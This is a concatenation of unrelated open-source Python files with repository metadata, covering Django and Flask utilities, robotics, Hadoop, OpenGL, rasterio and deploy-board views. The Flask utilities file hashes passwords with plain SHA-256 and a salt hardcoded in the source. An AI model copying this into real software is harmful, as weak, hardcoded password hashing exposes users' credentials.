"avg_line_length": 19,
"alnum_prop": 0.7543859649122807,
"repo_name": "PHBS-2017-ASP-Classroom/SABRmodel_Base",
"id": "c85f6599664e51fa40b12395969cc153ebbcd5fc",
"size": "57",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "option_models/__init__.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Jupyter Notebook",
"bytes": "106952"
},
{
"name": "Python",
"bytes": "16418"
}
],
"symlink_target": ""
} |
from __future__ import unicode_literals
import decimal
import datetime
from biplist import writePlistToString
from django.test import TestCase
from django.utils import six
from rest_framework_plist.renderers import PlistRenderer
from rest_framework_plist.parsers import PlistParser
if not six.PY3:
chr = unichr
class PlistTests(TestCase):
'''
Tests specific to the Plist Renderer and Parser
'''
def setUp(self):
self.renderer = PlistRenderer()
self.parser = PlistParser()
def _check_round_trip(self, obj, **kwargs):
expected = kwargs.pop('expected', obj)
content = self.renderer.render(obj, 'application/x-plist')
data = self.parser.parse(content)
self.assertEquals(expected, data)
def test_render_and_parse(self):
'''
Test rendering and then parsing returns the original object.
i.e. obj -> render -> parse -> obj.
'''
obj = {'foo': ['bar', {'baz': [1, 2]}]}
self._check_round_trip(obj)
def test_datetime(self):
obj = {'my_datetime': datetime.datetime.now()}
self._check_round_trip(
obj, expected={'my_datetime': obj['my_datetime'].isoformat()}
)
def test_date(self):
obj = {'my_date': datetime.date.today()}
self._check_round_trip(
obj, expected={'my_date': obj['my_date'].isoformat()}
)
def test_time(self):
obj = {'my_time': datetime.datetime.now().time()}
self._check_round_trip(
obj, expected={'my_time': obj['my_time'].isoformat()}
)
def test_decimal(self):
obj = {'my_decimal': decimal.Decimal(1) / decimal.Decimal(7)}
self._check_round_trip(
obj, expected={'my_decimal': float(obj['my_decimal'])}
)
def test_none(self):
obj = {'my_none': None}
self._check_round_trip(obj)
def test_integer(self):
obj = {'my_int': 1}
self._check_round_trip(obj)
def test_unicode(self):
chars = [chr(x) for x in range(2000)]
obj = {'my_unicode': ''.join(chars)}
self._check_round_trip(obj)
# ASCII only strings are represented as strings not data
obj = {'my_unicode': 'abcdefghi'}
self._check_round_trip(obj)
def test_parse_binary_plist(self):
obj = {
'date': datetime.datetime.now().replace(microsecond=0),
'int': 1,
'real': 2.0,
'none': None,
'string': 'abc',
}
binary = writePlistToString(obj)
data = self.parser.parse(binary)
self.assertEqual(data, obj)
| {
"content_hash": "e911f03591f015ca54d7072f9c653244",
"timestamp": "",
"source": "github",
"line_count": 91,
"max_line_length": 73,
"avg_line_length": 29.076923076923077,
"alnum_prop": 0.5789871504157218,
"repo_name": "pombredanne/django-rest-framework-plist",
"id": "7bbcd0fb0b07eba93a1c820ad5356073b1a96c8a",
"size": "2670",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "rest_framework_plist/tests.py",
"mode": "33188",
"license": "bsd-2-clause",
"language": [
{
"name": "Python",
"bytes": "17010"
}
],
"symlink_target": ""
} |
from m3.joint import M3Joint
import numpy as nu
import m3.unit_conversion as m3u
import math
import time
import m3.toolbox as m3t
class M3JointZLift(M3Joint):
"""Wrapper for 1DOF Z-Lift"""
def __init__(self,name):
M3Joint.__init__(self,name,type='m3joint_zlift')
self.cb_mm_per_deg = self.config['calib']['cb_screw_pitch']/(self.config['calib']['cb_gearing']*360.0);
self.cb_mNm_per_mN = self.config['calib']['cb_screw_pitch']*self.config['calib']['cb_screw_efficiency']/(2.0*math.pi*1000);
def motor_torque_mNm_to_output_force_mN(self,x):
return x/self.cb_mNm_per_mN
def output_force_mN_to_motor_torque_mNm(self,x):
return x*self.cb_mNm_per_mN;
def get_force_mN(self):
return self.get_torque_mNm()/self.cb_mNm_per_mN
def get_force_g(self):
return m3u.mN2g(self.get_force_mN())
def get_force_Lb(self):
return m3u.mN2Lb(self.get_force_mN())
def get_pos_m(self):
return self.get_pos_mm()/1000.0
def get_pos_mm(self):
return self.get_theta_deg()*self.cb_mm_per_deg
def get_pos_in(self):
return m3u.m2in(self.get_pos_m())
def set_force_mN(self,v):
tq=nu.array(v)*self.cb_mNm_per_mN
self.set_torque_mNm(v)
def set_force_g(self,v):
self.set_force_mN(m3u.g2mN(nu.array(v)))
def set_force_Lb(self,v):
self.set_force_mN(m3u.Lb2mN(nu.array(v)))
def set_pos_m(self,v):
self.set_pos_mm(nu.array(v)*1000.0)
def set_pos_mm(self,v):
self.set_theta_deg(nu.array(v)/self.cb_mm_per_deg)
def set_pos_in(self,v):
self.set_pos_m(m3u.in2m(nu.array(v)))
def calibrate(self,proxy):
print '----------------------------------------------------'
if not self.get_encoder_calibrated():
print 'Z-Lift encoder not yet calibrated. Calibrate now[y]?'
if not m3t.get_yes_no('y'):
return False
print 'Disengage E-Stop. Hit enter when ready'
raw_input()
if self.get_limitswitch_neg():
print 'Already at limit, moving up first...'
self.set_mode_pwm()
self.set_pwm(self.config['pwm_calibration_up'])
proxy.step()
time.sleep(4.0)
print 'Moving down to limit'
print 'Manual assist may be required'
self.set_mode_pwm()
self.set_pwm(self.config['pwm_calibration_down'])
proxy.step()
for i in range(20):
if self.get_encoder_calibrated():
print 'Z-Lift encoder calibrated. Currently at position: ',self.get_pos_mm(),'(mm)'
return True
print i,' : ', self.get_theta_deg()
time.sleep(1.0)
proxy.step()
self.set_mode_off()
proxy.step()
if not self.get_encoder_calibrated():
print 'Calibration failed'
return False
else:
print 'Z-Lift encoder calibrated. Currently at position: ',self.get_pos_mm(),'(mm)'
return True
| {
"content_hash": "289a7b68017ff8eca6152eeda759b5e9",
"timestamp": "",
"source": "github",
"line_count": 83,
"max_line_length": 131,
"avg_line_length": 37.81927710843374,
"alnum_prop": 0.5555909525326537,
"repo_name": "ahoarau/m3meka",
"id": "65ec0192d5d7dfe33cb76244ab1e2db2efc551f5",
"size": "3873",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "python/m3/joint_zlift.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Assembly",
"bytes": "12856"
},
{
"name": "C",
"bytes": "7053343"
},
{
"name": "C++",
"bytes": "7183538"
},
{
"name": "Common Lisp",
"bytes": "17619"
},
{
"name": "EmberScript",
"bytes": "1000"
},
{
"name": "Makefile",
"bytes": "716975"
},
{
"name": "Objective-C",
"bytes": "2639"
},
{
"name": "Python",
"bytes": "1972019"
},
{
"name": "Shell",
"bytes": "62270"
}
],
"symlink_target": ""
} |
from flask import Blueprint, request, redirect
from models import User, db
from functools import wraps, update_wrapper
import hashlib
utilities = Blueprint('utilities', __name__, template_folder='templates')
def login_required(f):
@wraps(f)
def decorator(*args, **kwargs):
try:
session['Username']
except:
return redirect('/login')
return f(*args, **kwargs)
return decorator
def hash_password(password):
m = hashlib.sha256()
m.update(password)
# TODO: This is totally our salt dont forget to change this jenk before sending the app to production. :)
m.update("6gwxK6VMR3MZV7AnD6ZgsRtKvQHtWo")
return m.hexdigest()
# Ajaxy Things
@utilities.route('/ajax/checkusername', methods=['GET'])
def ajax_check_username():
if 'username' in request.args:
check = check_username(request.args.get('username'))
return str(check)
else:
return 'error'
@utilities.route('/ajax/checkemail', methods=['GET'])
def ajax_check_email():
if 'email' in request.args:
check = check_email(request.args.get('email'))
return str(check)
else:
return 'error'
# Helper Functions
def check_username(username):
check = User.query.filter_by(UserName=username).first()
if check:
return False
else:
return True
def check_email(email):
check = User.query.filter_by(Email=email).first()
if check:
return False
else:
return True
| {
"content_hash": "23efec7165fc1234e3b1481de712e760",
"timestamp": "",
"source": "github",
"line_count": 56,
"max_line_length": 110,
"avg_line_length": 25.839285714285715,
"alnum_prop": 0.6731167933655839,
"repo_name": "levlaz/openfaqs",
"id": "b79c426cebd0083fcc7c1b6608c7c88a578e30c4",
"size": "1447",
"binary": false,
"copies": "2",
"ref": "refs/heads/master",
"path": "utilities.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "CSS",
"bytes": "565"
},
{
"name": "HTML",
"bytes": "21439"
},
{
"name": "JavaScript",
"bytes": "2390"
},
{
"name": "Python",
"bytes": "13966"
}
],
"symlink_target": ""
} |
from __future__ import division
import sys
import time
import pydoop.hdfs as hdfs
import pydoop.mapreduce.api as api
import pydoop.mapreduce.pipes as pipes
SEP_KEY = "mapreduce.output.textoutputformat.separator"
class Mapper(api.Mapper):
def __init__(self, context):
super(Mapper, self).__init__(context)
self.t0 = time.time()
def map(self, context):
sys.stderr.write("in: %r, %r\n" % (context.key, context.value))
time.sleep(1)
for w in context.value.split():
context.emit(w, 1)
def close(self):
sys.stderr.write("total time: %.3f s\n" % (time.time() - self.t0))
class Reducer(api.Reducer):
def __init__(self, context):
super(Reducer, self).__init__(context)
self.t0 = time.time()
def reduce(self, context):
sys.stderr.write("input key: %r\n" % (context.key,))
time.sleep(1)
context.emit(context.key, sum(context.values))
def close(self):
sys.stderr.write("total time: %.3f s\n" % (time.time() - self.t0))
class Reader(api.RecordReader):
def __init__(self, context):
super(Reader, self).__init__(context)
self.split = context.input_split
self.file = hdfs.open(self.split.filename)
self.bytes_read = 0
if self.split.offset > 0:
self.file.seek(self.split.offset)
discarded = self.file.readline() # handled in previous split
self.bytes_read += len(discarded)
def close(self):
self.file.close()
def next(self):
if self.bytes_read > self.split.length:
raise StopIteration
key = self.split.offset + self.bytes_read
value = self.file.readline()
if not value: # end of file
raise StopIteration
self.bytes_read += len(value)
return key, value.decode("utf-8")
def get_progress(self):
return min(self.bytes_read / self.split.length, 1.0)
class Writer(api.RecordWriter):
def __init__(self, context):
super(Writer, self).__init__(context)
outfn = context.get_default_work_file()
self.file = hdfs.open(outfn, "wt")
self.sep = context.job_conf.get(SEP_KEY, "\t")
def close(self):
self.file.close()
def emit(self, key, value):
self.file.write(key + self.sep + str(value) + "\n")
def __main__():
pipes.run_task(pipes.Factory(
Mapper,
reducer_class=Reducer,
record_reader_class=Reader,
record_writer_class=Writer
))
if __name__ == "__main__":
__main__()
| {
"content_hash": "f392de41ce18b2ea16701a5d28295f65",
"timestamp": "",
"source": "github",
"line_count": 98,
"max_line_length": 74,
"avg_line_length": 26.357142857142858,
"alnum_prop": 0.5900116144018583,
"repo_name": "simleo/pydoop",
"id": "8a2931c0402bef8dcefabf5ed644bba0034a240b",
"size": "3215",
"binary": false,
"copies": "1",
"ref": "refs/heads/develop",
"path": "int_test/mapred_submitter/mr/map_reduce_slow_python_rw.py",
"mode": "33261",
"license": "apache-2.0",
"language": [
{
"name": "C",
"bytes": "202110"
},
{
"name": "C++",
"bytes": "101371"
},
{
"name": "Dockerfile",
"bytes": "9590"
},
{
"name": "Emacs Lisp",
"bytes": "153"
},
{
"name": "Java",
"bytes": "177920"
},
{
"name": "Python",
"bytes": "400609"
},
{
"name": "Shell",
"bytes": "29222"
}
],
"symlink_target": ""
} |
from nose.tools import eq_
from ..context import Context
from ..dependent import Dependent
def test_context():
# No context
context = Context()
foo = Dependent("foo", lambda: "foo")
bar = Dependent("bar", lambda: "bar")
foobar = Dependent("foobar", lambda foo, bar: foo + bar,
depends_on=[foo, bar])
eq_(context.solve(foobar), "foobar")
eq_(list(context.solve([foo, bar, foobar])), ["foo", "bar", "foobar"])
# Cache context
context = Context(cache={bar: "baz"})
eq_(context.solve(foobar), "foobaz")
# Context context
mybar = Dependent("bar", lambda: "baz")
context = Context(context={mybar})
eq_(context.solve(foobar), "foobaz")
context = Context(context={mybar: mybar})
eq_(context.solve(foobar), "foobaz")
context = Context(context={bar: mybar})
eq_(context.solve(foobar), "foobaz")
context = Context(context={bar: lambda: "baz"})
eq_(context.solve(foobar), "foobaz")
| {
"content_hash": "8337578616efc18982e57a887a6d2748",
"timestamp": "",
"source": "github",
"line_count": 34,
"max_line_length": 74,
"avg_line_length": 28.88235294117647,
"alnum_prop": 0.6171079429735234,
"repo_name": "aetilley/revscoring",
"id": "ff14675380758e903a7405cf0ab3a1cad926ce54",
"size": "982",
"binary": false,
"copies": "3",
"ref": "refs/heads/master",
"path": "revscoring/dependencies/tests/test_context.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Python",
"bytes": "278384"
}
],
"symlink_target": ""
} |
def check_calls(self, calls, values):
self.assertEqual(len(calls), len(values))
r = {}
for call in calls:
name = call[0][0]
value = call[0][1]
r[name] = value
for name, value in values:
self.assertEqual(r.pop(name), value)
self.assertEqual(len(r), 0)
| {
"content_hash": "b066f0b72fd2fba7663a73fff3860f1e",
"timestamp": "",
"source": "github",
"line_count": 13,
"max_line_length": 45,
"avg_line_length": 23.53846153846154,
"alnum_prop": 0.5686274509803921,
"repo_name": "sys-git/hoft",
"id": "de67960899e277504dd99104d7b697837d614aa3",
"size": "358",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "tests/helpers.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "Makefile",
"bytes": "4525"
},
{
"name": "Python",
"bytes": "97779"
}
],
"symlink_target": ""
} |
from django import forms
class ContactForm(forms.Form):
title = forms.CharField(max_length=500)
body = forms.CharField(max_length=5000, widget=forms.Textarea)
class ContactEmailForm(forms.Form):
email = forms.EmailField()
title = forms.CharField(max_length=500)
body = forms.CharField(max_length=5000, widget=forms.Textarea)
| {
"content_hash": "6f67dead14883edd442eb7473d41aebe",
"timestamp": "",
"source": "github",
"line_count": 12,
"max_line_length": 66,
"avg_line_length": 29.083333333333332,
"alnum_prop": 0.7392550143266475,
"repo_name": "us-ignite/us_ignite",
"id": "d1169575b5b1fb930ac264ce0d93d2e5847ee232",
"size": "349",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "us_ignite/relay/forms.py",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "CSS",
"bytes": "590320"
},
{
"name": "HTML",
"bytes": "920235"
},
{
"name": "JavaScript",
"bytes": "109759"
},
{
"name": "Nginx",
"bytes": "3047"
},
{
"name": "Pascal",
"bytes": "48"
},
{
"name": "Puppet",
"bytes": "53455"
},
{
"name": "Python",
"bytes": "1321882"
},
{
"name": "Ruby",
"bytes": "370509"
},
{
"name": "Shell",
"bytes": "63"
}
],
"symlink_target": ""
} |
"""
WSGI config for mendelmd project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.6/howto/deployment/wsgi/
"""
import os
import site
import sys
#site.addsitedir('/projects/venv/lib/python3.5/site-packages')
#site.addsitedir('/projects/mendelmd_master')
#sys.path.append('/projects/venv/lib/python3.5/site-packages')
#sys.path.append('/projects/mendelmd_dev')
#sys.path.append('/home/ubuntu/projects/mendelmdenv/lib/python3.5/site-packages')
#sys.path.append('/home/ubuntu/projects/mendelmd/mendelmd_master')
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "mendelmd.settings")
from django.core.wsgi import get_wsgi_application
application = get_wsgi_application()
| {
"content_hash": "69d23196ffee4a7cb8fe2ade1d397a6f",
"timestamp": "",
"source": "github",
"line_count": 28,
"max_line_length": 81,
"avg_line_length": 28,
"alnum_prop": 0.7716836734693877,
"repo_name": "raonyguimaraes/mendelmd",
"id": "adfd8ae442477844eb923483e4109215e0088085",
"size": "784",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "mendelmd/wsgi.py",
"mode": "33261",
"license": "bsd-3-clause",
"language": [
{
"name": "C",
"bytes": "1089"
},
{
"name": "C++",
"bytes": "748"
},
{
"name": "CSS",
"bytes": "159812"
},
{
"name": "Dockerfile",
"bytes": "3164"
},
{
"name": "Go",
"bytes": "7075"
},
{
"name": "HTML",
"bytes": "889609"
},
{
"name": "JavaScript",
"bytes": "471651"
},
{
"name": "PHP",
"bytes": "52678"
},
{
"name": "Python",
"bytes": "754270"
},
{
"name": "Shell",
"bytes": "14174"
}
],
"symlink_target": ""
} |
'''OpenGL extension ARB.shader_atomic_counters
This module customises the behaviour of the
OpenGL.raw.GL.ARB.shader_atomic_counters to provide a more
Python-friendly API
Overview (from the spec)
This extension provides a set of atomic counters.
This extension provides GLSL built-in functions to
query and increment/decrement these atomic counters.
This enables a shader to write to unique offsets
(append to a buffer object) or read from unique offsets
(consume from a buffer object).
Opaque handles to atomic counters are declared
at global scope and are qualified with the uniform qualifier.
Unlike other user-defined uniforms declared at global scope,
they take NO storage from the default partition, they have
NO location, and they may NOT be set with the Uniform* commands.
Atomic counters may also NOT be grouped into uniform blocks.
Active atomic counters can be discovered by the commands
GetUniformIndices, GetActiveUniformName, GetActiveUniform
and GetActiveUniformsiv.
Like samplers, the opaque handles of the atomic counters
and are ONLY used in some GLSL built-in functions.
The atomic counters pointed to by the opaque handles
are bound to buffer binding points and buffer offsets
through the layout qualifiers in the shading language,
or they are implicitly assigned by the compiler.
Through the OpenGL API, buffer objects may be
bound to these binding points with BindBufferBase
or BindBufferRange.
The contents of the atomic counters are stored
in the buffer objects. The contents of atomic
counters may be set and queried with buffer object
manipulation functions (e.g. BufferData,
BufferSubData, MapBuffer or MapBufferRange).
The official definition of this extension is available here:
http://www.opengl.org/registry/specs/ARB/shader_atomic_counters.txt
'''
from OpenGL import platform, constant, arrays
from OpenGL import extensions, wrapper
import ctypes
from OpenGL.raw.GL import _types, _glgets
from OpenGL.raw.GL.ARB.shader_atomic_counters import *
from OpenGL.raw.GL.ARB.shader_atomic_counters import _EXTENSION_NAME
def glInitShaderAtomicCountersARB():
'''Return boolean indicating whether this extension is available'''
from OpenGL import extensions
return extensions.hasGLExtension( _EXTENSION_NAME )
glGetActiveAtomicCounterBufferiv=wrapper.wrapper(glGetActiveAtomicCounterBufferiv).setOutput(
'params',size=_glgets._glget_size_mapping,pnameArg='pname',orPassIn=True
)
### END AUTOGENERATED SECTION | {
"content_hash": "4eb482b65faccfa863073c583c5b95be",
"timestamp": "",
"source": "github",
"line_count": 67,
"max_line_length": 93,
"avg_line_length": 37.37313432835821,
"alnum_prop": 0.7991214057507987,
"repo_name": "alexus37/AugmentedRealityChess",
"id": "d67f4406397a07542e4c50ff8bce45e3bc0a5b83",
"size": "2504",
"binary": false,
"copies": "7",
"ref": "refs/heads/master",
"path": "pythonAnimations/pyOpenGLChess/engineDirectory/oglc-env/lib/python2.7/site-packages/OpenGL/GL/ARB/shader_atomic_counters.py",
"mode": "33188",
"license": "mit",
"language": [
{
"name": "C",
"bytes": "158062"
},
{
"name": "C++",
"bytes": "267993"
},
{
"name": "CMake",
"bytes": "11319"
},
{
"name": "Fortran",
"bytes": "3707"
},
{
"name": "Makefile",
"bytes": "14618"
},
{
"name": "Python",
"bytes": "12813086"
},
{
"name": "Roff",
"bytes": "3310"
},
{
"name": "Shell",
"bytes": "3855"
}
],
"symlink_target": ""
} |
"""rasterio.vrt: a module concerned with GDAL VRTs"""
from rasterio._warp import WarpedVRTReaderBase
from rasterio.io import WindowMethodsMixin, TransformMethodsMixin
class WarpedVRT(WarpedVRTReaderBase, WindowMethodsMixin,
TransformMethodsMixin):
"""Creates a virtual warped dataset.
Abstracts the details of raster warping and allows access to data
that is reprojected when read.
This class is backed by an in-memory GDAL VRTWarpedDataset VRT file.
Attributes
----------
src_dataset : dataset
The dataset object to be virtually warped.
dst_crs : CRS or str
The warp operation's destination coordinate reference system.
resampling : int
One of the values from rasterio.enums.Resampling. The default is
`Resampling.nearest`.
tolerance : float
The maximum error tolerance in input pixels when approximating
the warp transformation. The default is 0.125.
src_nodata : float
A nodata value for the source data. It may be a value other
than the nodata value of src_dataset.
dst_nodata : float, int
The nodata value for the virtually warped dataset.
dst_width : int, optional
Target width. dst_height and dst_transform must also be provided.
dst_height : int, optional
Target height. dst_width and dst_transform must also be provided.
dst_transform: affine.Affine(), optional
Target affine transformation. Required if width and height are
provided.
warp_extras : dict
GDAL extra warp options. See
http://www.gdal.org/structGDALWarpOptions.html.
Example
-------
>>> with rasterio.open('tests/data/RGB.byte.tif') as src:
... with WarpedVRT(src, dst_crs='EPSG:3857') as vrt:
... data = vrt.read()
"""
def __repr__(self):
return "<{} WarpedVRT name='{}' mode='{}'>".format(
self.closed and 'closed' or 'open', self.name, self.mode)
def __enter__(self):
self.start()
return self
def __exit__(self, *args, **kwargs):
self.close()
def __del__(self):
self.close()
def close(self):
self.stop()
| {
"content_hash": "12e10491d6c4dd262656926ae149bfe2",
"timestamp": "",
"source": "github",
"line_count": 69,
"max_line_length": 73,
"avg_line_length": 32.05797101449275,
"alnum_prop": 0.6460216998191681,
"repo_name": "brendan-ward/rasterio",
"id": "78969f06388a0d4ed80d48e562dd20a3f63f6af8",
"size": "2212",
"binary": false,
"copies": "1",
"ref": "refs/heads/master",
"path": "rasterio/vrt.py",
"mode": "33188",
"license": "bsd-3-clause",
"language": [
{
"name": "C++",
"bytes": "34752"
},
{
"name": "Makefile",
"bytes": "539"
},
{
"name": "Python",
"bytes": "828986"
},
{
"name": "Shell",
"bytes": "2942"
}
],
"symlink_target": ""
} |
from alembic import op
import sqlalchemy as sa
"""add standardattr to qos policies
Revision ID: b12a3ef66e62
Revises: 3b935b28e7a0
Create Date: 2016-08-18 14:10:30.021055
"""
# revision identifiers, used by Alembic.
revision = 'b12a3ef66e62'
down_revision = '3b935b28e7a0'
depends_on = ('67daae611b6e',)
# basic model of the tables with required field for migration
TABLE = 'qos_policies'
TABLE_MODEL = sa.Table(TABLE, sa.MetaData(),
sa.Column('id', sa.String(length=36), nullable=False),
sa.Column('description', sa.String(length=255),
nullable=True),
sa.Column('standard_attr_id', sa.BigInteger(),
nullable=True))
standardattrs = sa.Table(
'standardattributes', sa.MetaData(),
sa.Column('id', sa.BigInteger(), primary_key=True, autoincrement=True),
sa.Column('resource_type', sa.String(length=255), nullable=False),
sa.Column('description', sa.String(length=255), nullable=True))
def upgrade():
generate_records_for_existing()
# add the constraint now that everything is populated on that table
op.alter_column(TABLE, 'standard_attr_id', nullable=False,
existing_type=sa.BigInteger(), existing_nullable=True,
existing_server_default=False)
op.create_unique_constraint(
constraint_name='uniq_%s0standard_attr_id' % TABLE,
table_name=TABLE, columns=['standard_attr_id'])
op.drop_column(TABLE, 'description')
op.create_foreign_key(
constraint_name=None, source_table=TABLE,
referent_table='standardattributes',
local_cols=['standard_attr_id'], remote_cols=['id'],
ondelete='CASCADE')
def generate_records_for_existing():
session = sa.orm.Session(bind=op.get_bind())
values = []
with session.begin(subtransactions=True):
for row in session.query(TABLE_MODEL):
# NOTE(kevinbenton): without this disabled, pylint complains
# about a missing 'dml' argument.
# pylint: disable=no-value-for-parameter
res = session.execute(
standardattrs.insert().values(resource_type=TABLE,
description=row[1])
)
session.execute(
TABLE_MODEL.update().values(
standard_attr_id=res.inserted_primary_key[0]).where(
TABLE_MODEL.c.id == row[0])
)
# this commit is necessary to allow further operations
session.commit()
return values
| {
"content_hash": "8ea61dc65612a5d9559d8dbc59c6c08e",
"timestamp": "",
"source": "github",
"line_count": 72,
"max_line_length": 77,
"avg_line_length": 36.375,
"alnum_prop": 0.6128293241695304,
"repo_name": "noironetworks/neutron",
"id": "66004dc18ac02985fc0b827b5899c220c7e87e13",
"size": "3196",
"binary": false,
"copies": "4",
"ref": "refs/heads/master",
"path": "neutron/db/migration/alembic_migrations/versions/newton/contract/b12a3ef66e62_add_standardattr_to_qos_policies.py",
"mode": "33188",
"license": "apache-2.0",
"language": [
{
"name": "Mako",
"bytes": "1047"
},
{
"name": "Python",
"bytes": "11420614"
},
{
"name": "Shell",
"bytes": "38791"
}
],
"symlink_target": ""
} |
from django.middleware.csrf import get_token
from django.shortcuts import render, redirect
from django.template.loader import render_to_string
from django.http import HttpResponse
from django.contrib import messages
from deploy_board.settings import IS_PINTEREST
import json
import logging
from helpers import baseimages_helper, hosttypes_helper, securityzones_helper, placements_helper
from helpers import clusters_helper, environs_helper, environ_hosts_helper
import common
log = logging.getLogger(__name__)
DEFAULT_PAGE_SIZE = 200
PROVIDER_AWS = 'AWS'
CMP_DOCKER_IMAGE = 'CMP-DOCKER'
def create_base_image(request):
params = request.POST
base_image_info = {}
base_image_info['abstract_name'] = params['abstractName']
base_image_info['provider_name'] = params['providerName']
base_image_info['provider'] = params['provider']
base_image_info['description'] = params['description']
if 'basic' in params:
base_image_info['basic'] = True
else:
base_image_info['basic'] = False
baseimages_helper.create_base_image(request, base_image_info)
return redirect('/clouds/baseimages')
def get_base_images(request):
index = int(request.GET.get('page_index', '1'))
size = int(request.GET.get('page_size', DEFAULT_PAGE_SIZE))
base_images = baseimages_helper.get_all(request, index, size)
provider_list = baseimages_helper.get_all_providers(request)
return render(request, 'clusters/base_images.html', {
'base_images': base_images,
'provider_list': provider_list,
'pageIndex': index,
'pageSize': DEFAULT_PAGE_SIZE,
'disablePrevious': index <= 1,
'disableNext': len(base_images) < DEFAULT_PAGE_SIZE,
})
def get_image_names(request):
params = request.GET
provider = params['provider']
env_name = params['env']
stage_name = params['stage']
image_names = baseimages_helper.get_image_names(request, provider)
curr_image_name = None
curr_base_image = None
if 'curr_base_image' in params:
curr_base_image = params['curr_base_image']
image = baseimages_helper.get_by_id(request, curr_base_image)
curr_image_name = image.get('abstract_name')
contents = render_to_string("clusters/get_image_name.tmpl", {
'image_names': image_names,
'curr_image_name': curr_image_name,
'curr_base_image': curr_base_image,
'provider': provider,
'env_name': env_name,
'stage_name': stage_name,
})
return HttpResponse(json.dumps(contents), content_type="application/json")
def get_base_images_by_name(request):
params = request.GET
base_images = None
if 'name' in params:
name = params['name']
base_images = baseimages_helper.get_by_name(request, name)
curr_base_image = None
if 'curr_base_image' in params:
curr_base_image = params['curr_base_image']
image = baseimages_helper.get_by_id(request, curr_base_image)
curr_image_name = image.get('abstract_name')
base_images = baseimages_helper.get_by_name(request, curr_image_name)
contents = render_to_string("clusters/get_base_image.tmpl", {
'base_images': base_images,
'curr_base_image': curr_base_image,
})
return HttpResponse(json.dumps(contents), content_type="application/json")
def get_base_image_info(request):
base_images = baseimages_helper.get_by_name(request, request.GET.get('name'))
contents = render_to_string("clusters/get_base_image_info.tmpl", {
'base_images': base_images,
})
return HttpResponse(json.dumps(contents), content_type="application/json")
def create_host_type(request):
params = request.POST
host_type_info = {}
host_type_info['abstract_name'] = params['abstractName']
host_type_info['provider_name'] = params['providerName']
host_type_info['provider'] = params['provider']
host_type_info['description'] = params['description']
host_type_info['mem'] = float(params['mem']) * 1024
host_type_info['core'] = int(params['core'])
host_type_info['storage'] = params['storage']
if 'basic' in params:
host_type_info['basic'] = True
else:
host_type_info['basic'] = False
hosttypes_helper.create_host_type(request, host_type_info)
return redirect('/clouds/hosttypes')
def get_host_types(request):
index = int(request.GET.get('page_index', '1'))
size = int(request.GET.get('page_size', DEFAULT_PAGE_SIZE))
host_types = hosttypes_helper.get_all(request, index, size)
for host_type in host_types:
host_type['mem'] = float(host_type['mem']) / 1024
provider_list = baseimages_helper.get_all_providers(request)
return render(request, 'clusters/host_types.html', {
'host_types': host_types,
'provider_list': provider_list,
'pageIndex': index,
'pageSize': DEFAULT_PAGE_SIZE,
'disablePrevious': index <= 1,
'disableNext': len(host_types) < DEFAULT_PAGE_SIZE,
})
def get_host_types_by_provider(request):
params = request.GET
provider = params['provider']
curr_host_type = None
if 'curr_host_type' in params:
curr_host_type = params['curr_host_type']
host_types = hosttypes_helper.get_by_provider(request, provider)
for host_type in host_types:
host_type['mem'] = float(host_type['mem']) / 1024
contents = render_to_string("clusters/get_host_type.tmpl", {
'host_types': host_types,
'curr_host_type': curr_host_type,
})
return HttpResponse(json.dumps(contents), content_type="application/json")
def get_host_type_info(request):
index = int(request.GET.get('page_index', '1'))
size = int(request.GET.get('page_size', DEFAULT_PAGE_SIZE))
host_types = hosttypes_helper.get_all(request, index, size)
for host_type in host_types:
host_type['mem'] = float(host_type['mem']) / 1024
contents = render_to_string("clusters/get_host_type_info.tmpl", {
'host_types': host_types,
})
return HttpResponse(json.dumps(contents), content_type="application/json")
def create_security_zone(request):
params = request.POST
security_zone_info = {}
security_zone_info['abstract_name'] = params['abstractName']
security_zone_info['provider_name'] = params['providerName']
security_zone_info['provider'] = params['provider']
security_zone_info['description'] = params['description']
if 'basic' in params:
security_zone_info['basic'] = True
else:
security_zone_info['basic'] = False
securityzones_helper.create_security_zone(request, security_zone_info)
return redirect('/clouds/securityzones')
def get_security_zones(request):
index = int(request.GET.get('page_index', '1'))
size = int(request.GET.get('page_size', DEFAULT_PAGE_SIZE))
security_zones = securityzones_helper.get_all(request, index, size)
provider_list = baseimages_helper.get_all_providers(request)
return render(request, 'clusters/security_zones.html', {
'security_zones': security_zones,
'provider_list': provider_list,
'pageIndex': index,
'pageSize': DEFAULT_PAGE_SIZE,
'disablePrevious': index <= 1,
'disableNext': len(security_zones) < DEFAULT_PAGE_SIZE,
})
def get_security_zones_by_provider(request):
params = request.GET
provider = params['provider']
curr_security_zone = None
if 'curr_security_zone' in params:
curr_security_zone = params['curr_security_zone']
security_zones = securityzones_helper.get_by_provider(request, provider)
contents = render_to_string("clusters/get_security_zone.tmpl", {
'security_zones': security_zones,
'curr_security_zone': curr_security_zone,
})
return HttpResponse(json.dumps(contents), content_type="application/json")
def get_security_zone_info(request):
index = int(request.GET.get('page_index', '1'))
size = int(request.GET.get('page_size', DEFAULT_PAGE_SIZE))
security_zones = securityzones_helper.get_all(request, index, size)
contents = render_to_string("clusters/get_security_zone_info.tmpl", {
'security_zones': security_zones,
})
return HttpResponse(json.dumps(contents), content_type="application/json")
def create_placement(request):
params = request.POST
placement_info = {}
placement_info['abstract_name'] = params['abstractName']
placement_info['provider_name'] = params['providerName']
placement_info['provider'] = params['provider']
placement_info['description'] = params['description']
if 'basic' in params:
placement_info['basic'] = True
else:
placement_info['basic'] = False
placements_helper.create_placement(request, placement_info)
return redirect('/clouds/placements')
def get_placements(request):
index = int(request.GET.get('page_index', '1'))
size = int(request.GET.get('page_size', DEFAULT_PAGE_SIZE))
placements = placements_helper.get_all(request, index, size)
provider_list = baseimages_helper.get_all_providers(request)
